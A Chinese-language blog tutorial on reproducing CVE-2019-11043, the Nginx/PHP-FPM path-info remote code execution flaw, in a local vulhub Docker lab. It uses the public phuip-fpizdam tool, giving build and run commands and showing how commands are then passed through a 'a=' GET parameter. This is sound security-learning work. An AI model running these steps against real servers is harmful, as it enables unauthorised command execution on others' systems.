网上很多大佬都有复现教程了,我也试试看。
介绍
Nginx 上 fastcgi_split_path_info 在处理带有 %0a 的请求时,会因为遇到换行符 \n 导致 PATH_INFO 为空。而 php-fpm 在处理 PATH_INFO 为空的情况下,存在逻辑缺陷。攻击者通过精心的构造和利用,可以导致远程代码执行。
引用:https://www.jianshu.com/p/afa0752efe5c
环境搭建
vulhub
这个用来复现漏洞挺方便的挺方便的。
搭建教程链接:https://blog.youkuaiyun.com/weixin_40228200/article/details/126419237
docker
这个搭建教程推荐https://hello-ctf.com/HC_envSet/Docker_On_Linux/
phuip-fpizdam
漏洞利用的工具https://github.com/neex/phuip-fpizdam,里面也有漏洞介绍
安装go环境
sudo apt install golang
go环境问题解决请看这位大哥https://blog.youkuaiyun.com/fanjufei123456/article/details/124660294
利用
上面那几个装好后进入vulhub-master/php/CVE-2019-11043目录
执行docker-compose build然后执行docker compose up -d
访问127.0.0.1:8080可以看到环境网站
进入phuip-fpizdam工具目录
go get -v && go build编译go文件。
go run . "http://127.0.0.1:8080/index.php"执行攻击文件
再次访问http://你的ip/可以get传参a=command
有时候命令没反应就多试试几次。
基本上可以任意命令执行。但是touch命令试过了没用。其他可以自己试试
关闭靶场的命令在vulhub搭建教程里面有了,可以去看。
参考:https://www.cnblogs.com/st66/p/14735800.html
https://blog.youkuaiyun.com/qq_42133828/article/details/102868522